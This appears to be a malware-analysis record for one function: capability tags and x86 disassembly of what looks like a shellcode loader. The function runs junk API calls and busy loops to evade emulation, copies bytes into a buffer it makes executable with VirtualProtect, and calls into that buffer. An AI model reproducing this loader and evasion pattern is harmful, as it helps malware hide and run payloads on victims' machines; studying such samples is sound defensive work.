Function at 0x403a20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x403a51
inc esi
cmp esi, 0x67d12
jl 0x403a3a
cmp dword [0x5e8438], 0x93
jne 0x403b21
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call fcn.00403ea4
add esp, 4
push 0
push 0
call fcn.004042c3
push 0
call fcn.00404178
add esp, 0xc
push 0
call fcn.004041a7
add esp, 4
push 0
push 0
call fcn.00404456
push 0
push 0
call fcn.004041b2
add esp, 0x10
mov eax, dword [0x444c34]
add dword [0x5e8438], 0x1134b
push 0x403674
mov dword [0x5e843c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x5e8438]
push ecx
push 0
mov dword [0x5e75f4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x5e8438]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x5e708c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffW]
mov esi, 0x1692e
mov edi, edi
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x810]
push edx
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x403b80
cmp dword [0x5e8438], esi
jbe 0x403c0e
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x5e843c]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x5e708c]
mov byte [edx + esi], cl
cmp dword [0x5e8438], 0x490
jne 0x403c05
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e8438]
jb 0x403bb2
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov ecx, dword [0x5e8438]
add ecx, esi
cmp ecx, 0x8d
jne 0x403c64
push 0
lea edx, [ebp - 0x410]
push edx
push 0
push 0x403684
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x403c1c
call fcn.004037b0
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x403c94
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x1177c
mov eax, dword [ebp - 4]
add dword [0x5e708c], eax
inc esi
cmp esi, 0x674bd
jl 0x403c76
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_HeapWalk]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 4], 0x7b
jmp 0x403cc0
cmp dword [0x5e8438], 0x86
jne 0x403cfd
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x5e8438], 0xf
jne 0x403d14
push 0
push 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x403cc0
push 0x403688
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e708c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret